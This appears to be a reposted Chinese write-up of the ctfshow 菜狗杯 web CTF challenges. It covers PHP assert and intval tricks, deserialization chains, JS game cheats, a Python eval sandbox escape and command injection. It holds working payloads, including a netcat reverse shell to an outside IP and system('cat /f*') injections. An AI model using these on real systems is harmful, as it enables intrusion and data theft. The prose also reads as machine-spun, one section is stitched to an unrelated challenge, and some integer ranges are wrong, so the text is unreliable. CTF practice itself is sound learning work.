郭卫东 发表于 2024-5-20 04:44:18

ctfshow-菜狗杯-web

菜狗杯

一言既出

打开标题就是一个朴实无华的php代码
https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240514221634026-98774417.png
我们分析一下:
需要传入一个num的参数,使num==114514,反面颠末intval转化后要num==1919810,否则直接结束历程
这下就有点难办了,但实在我们只要实在闭合一下这个assert函数,不让这个结束的条件建立就行,payload如下
num=114514);//https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240514221633383-1290604837.png
大概另有一种解法,用了%2B,这是加号+的url编码
当我们输入一下payload
num=114514%2B(1919810-114514)解释一下payload,实在在第一次判定的时候,他的值是114514,这就完成了第一次判定,但是当第二次判定,在intval函数下,他会先举行运算,然后再将结果举行判定,这就完成了payload。
驷马难追

打开标题和上道题一样
https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240514221632471-24013776.png
唯一不同的就是加了一层waf,比如小写字母,分号,括号不能用,所以这道题我们不能闭合,只能借用谁人url编码,同时利用intval函数的特性去构造payload。
payload如下
num=114514%2B1919810-114514https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240514221631777-1516133513.png
TapTapTap

打开标题是一个小游戏,这真忍不住,上去玩了一下,关键词是LEVEL,这种题都是js小游戏,我们就直接源码找,搜LEVEL
https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240514221630883-1827259294.png
功夫不负有心人,也是找到了一串可疑的base64的代码
https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240514221630235-1523125848.png
解码得到,得知flag在这个路径下面
https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240514221629620-1296777738.png
直接访问这个文件,成功拿到flag
https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240514221629245-488148058.png
Webshell

打开标题,是php反序列化的题
https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240514221628734-706686332.png
详细来说这个流程就是
new Webshell()->__construct->__init->exec()
最后执行shell_exec($cmd) //shell_exec就是执行系统命令,一般无回显,这里贴心的给你回显了我们打开php在线,去构造一下PHP 在线工具 | 菜鸟工具 (jyshare.com)
构造代码如下:
O%3A8%3A%22Webshell%22%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A2%3A%22ls%22%3B%7D然后我们传一下参数看看行不,发现简直可以
https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240514221627651-1139609779.png
留意前面代码,我们不能输入flag,被过滤了,所以这里我们使用通配符*****
这里我们只用把构造代码中的 cmd的值更改一下
public $cmd = 'cat f*';O%3A8%3A%22Webshell%22%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A6%3A%22cat+f%2A%22%3B%7D传参后发现一片空缺,F12看一下源码,简直在内里
https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240514221627168-656205946.png
化零为整

打开标题,就是php代码,十分害怕
https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240514221626717-158715357.png
我们分析一下代码
$_GET,就是担当了多少了多少个参数
if(strlen($_GET[$i])>1)这一部分就是告诉我们,我们每次只能输入一个字符****,汉字是两个字符
我们今后看,result这个变量会拼接我们输入进去的参数
最后当result==“大牛”,才会输出flag
这个时候问题就是我们怎样输入“大牛”,每次只能才气输入一个字符,这里我们就可以url编码,将”大牛“编码一下,一次输入一个字符
https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240514221626238-1648249123.png
然后构造payload:
1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9Bhttps://img2023.cnblogs.com/blog/3439569/202405/3439569-20240514221624829-37799686.png
无一幸免

https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240514221624135-1175032458.png
这道题就是0=? //传啥都行
payload如下
0=1https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240514221623620-950670175.png
传说之下(雾)

是一个小游戏,小玩一会
https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240514221622685-334998162.png
应该还是js小游戏,F12直接找,分数用的score,我们直接搜索
https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240514221622112-541018405.png
我们应该修改这个score的值,然后吃一个豆,他就更新成nowScore,我们找找这个对象名字
https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240514221621672-2017218053.png
找到之后,直接控制台修改,
Game.score=3000停息修改事后,我们直接回到游戏,吃一个豆,分数就够了,得到flag
https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240514221621034-1714417252.png
算力超群

打开标题就是一个计算器,我们运行一个计算,抓包看看
https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240514221620665-1013701688.png
当我们把number2改为非法的字符串的时候
https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240514221620153-495759930.png
返回的页面如下所示:
https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240514221619488-2009861775.png
发现路径为 /app/app.py
伤害的函数如下:
result=eval(a + operator +b)搜了一下,可用的方法就是 沙箱逃逸 ,emmmm,完全不懂,那就搜一下
一文看懂Python沙箱逃逸 - FreeBuf网络安全行业门户
[PyJail] python沙箱逃逸探究·总览(HNCTF题解) - 知乎 (zhihu.com)
直接反弹shell
_calculate?number1=1&operator=%2B&number2=1,__import__('os').system('nc 8.130.131.63 1234 -e sh')https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240514221618352-391669128.png
拿到flag
https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240514221617630-1931173780.png
算力升级(未做出来)

还不会,pass
easyPytHon_P

这道题是给了源码
https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240514221617109-1105358455.png
我们分析一下,我们需要传入两个参数 一个 cmd 一个 param,反面有个命令实行的函数,所以我们需要构造一个命令,用这两个参数,但是 cmd 是有限制的,只能读取三位,分析完毕,我们开始构造payload
cmd=ls&param=/但是我们传参数始终不对,没有得到我们想要的结果,实在这里又考了flask的传参,实在不是GET传参,而是POST
flask的传参方式

[*]get请求
request.args.get("key") 获取get请求参数
[*]post请求
request.form.get("key", type=str, default=None) 获取表单数据

request.values.get("key") 获取所有参数所以这里我们用hackbar POST传参就行了
https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240514221616273-1731870720.png
实在flag没在根目录,就在当前的目录,那我们直接就读取了
cmd=cat&param=./flag.txthttps://img2023.cnblogs.com/blog/3439569/202405/3439569-20240514221615641-82593846.png
遍地飘零

https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240514221614999-686136669.png
变量覆盖问题CTF中的变量覆盖问题 - My_Dreams - 博客园 (cnblogs.com)
payload
_GET=flaghttps://img2023.cnblogs.com/blog/3439569/202405/3439569-20240514221614261-1988642558.png
茶歇区

考的是整数溢出,以下是常见的数值范围
uint8 -> 0-255
uint16 -> 0-65535
uint32 -> 0-4294967295
uint36 -> 0-18446744073709551615
int8 -> -127-128
int16 -> -32768-32767
int32 -> -2147483648-2147483647
int64 -> -9223372036854775808-9223372036854775807 让我拿东西得分,我直接弄了很多,直接负数很离谱
https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240514221613554-637302647.png
我继续这样,就flag了
https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240514221613095-2114329607.png
小舔田?

打开标题就是源码,看的出来是反序列化
https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240514221612668-954882837.png
先补充魔术方法吧
__construct()            //类的构造函数,创建对象时触发

__destruct()             //类的析构函数,对象被销毁时触发

__call()               //在对象上下文中调用不可访问的方法时触发

__callStatic()         //在静态上下文中调用不可访问的方法时触发

__get()                  //读取不可访问属性的值时,这里的不可访问包含私有属性或未定义

__set()                  //在给不可访问属性赋值时触发

__isset()                //当对不可访问属性调用 isset() 或 empty() 时触发

__unset()                //在不可访问的属性上使用unset()时触发

__invoke()               //当尝试以调用函数的方式调用一个对象时触发

__sleep()                //执行serialize()时,先会调用这个方法

__wakeup()               //执行unserialize()时,先会调用这个方法

__toString()             //当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用然后我们来构造链子
Moon::wakeup()->Ion_Fan_Princess::tostring()->Ion_Fan_Princess::call分析完毕,打开php在线,开始操作、
<?php
include "flag.php";
highlight_file(__FILE__);

class Moon{
    public function __wakeup(){
      echo "我是".$this->name."快来赏我";
    }
}

class Ion_Fan_Princess{
    public $nickname="牛夫人";
    public function call(){
      global $flag;
      if ($this->nickname=="小甜甜"){
            echo $flag;
      }
    }
   
    public function __toString(){
      $this->call();
    }
}
$a = new Moon();
$a->name = new Ion_Fan_Princess();
$a->name->nickname="小甜甜";
echo urlencode(serialize($a));然后我们MD5加密一下看一下天生的是什么
<?php
include "flag.php";
highlight_file(__FILE__);

class Moon{
    public function __wakeup(){
      echo "我是".$this->name."快来赏我";
    }
}

class Ion_Fan_Princess{
    public $nickname="牛夫人";
    public function call(){
      global $flag;
      if ($this->nickname=="小甜甜"){
            echo $flag;
      }
    }
   
    public function __toString(){
      $this->call();
    }
}
$a = new Moon();
$a->name = new Ion_Fan_Princess();
$a->name->nickname="小甜甜";
echo urlencode(serialize($a));1.jpg;ls然后我们利用pull去实行
?action=pull&input=1.jpg;ls&1=system("ls /");https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240514221605838-905267251.png
然后直接查察flag
?action=pull&input=1.jpg;ls&1=system("cat%20/f*");https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240514221605230-2112641657.png
龙珠NFT(未做出来)


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: ctfshow-菜狗杯-web